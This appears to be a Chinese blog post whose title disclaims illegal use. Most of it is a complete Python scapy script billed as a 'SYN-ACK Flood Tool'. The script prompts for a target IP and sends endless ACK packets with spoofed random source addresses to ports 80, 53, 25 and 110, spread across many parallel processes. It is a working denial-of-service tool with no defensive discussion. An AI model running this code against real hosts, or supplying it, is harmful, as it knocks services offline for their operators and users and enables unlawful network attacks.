【ACK攻击】仅供学习,切忌用于违法犯罪行为

#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# SYN-ACK Flood Tool Python

from multiprocessing import Process
from scapy.all import *
import os
import sys
import random


def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
    return ip


def randInt():
    x = random.randint(1000, 9000)
    return x


def SYN_ACK_Flood(dstIP, dstPort, counter):
    total = 0
    print("Packets are sending ...")
    for x in range(0, counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()
        a_ck = randInt()+s_eq

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "A"
        TCP_Packet.seq = s_eq
        TCP_Packet.ack = a_ck
        TCP_Packet.window = w_indow

        # 发送ACK数据包
        send(IP_Packet / TCP_Packet, verbose=0)
        total += 1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)


def info():
    os.system("clear")
    print("#############################")
    print("#    github.com/Zhoushukang   #")
    print("#############################")
    print("# Welcome to SYN-ACK Flood Tool #")
    print("#############################")

    dstIP = input("\nTarget IP : ")
    normalPort = [80, 53, 25, 110]
    # dstPort = input("Target Port : ")

    return dstIP, normalPort


def attack(dstIP,normalPort, counter):
    j = 0
    while True:
        if j == len(normalPort):
            j = 0
        dstPort = normalPort[j]
        SYN_ACK_Flood(dstIP, dstPort, int(counter))
        j += 1


if __name__ == '__main__':
    num = input("并行数:")
    counter = input("你需要发送多少包 : ")
    list = []
    dstIP, normalPort = info()
    for i in range(int(num)):
        p = Process(target=attack, args=(dstIP, normalPort, counter))
        list.append(p)
    for i in list:
        i.start()
    for i in list:
        i.join()



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值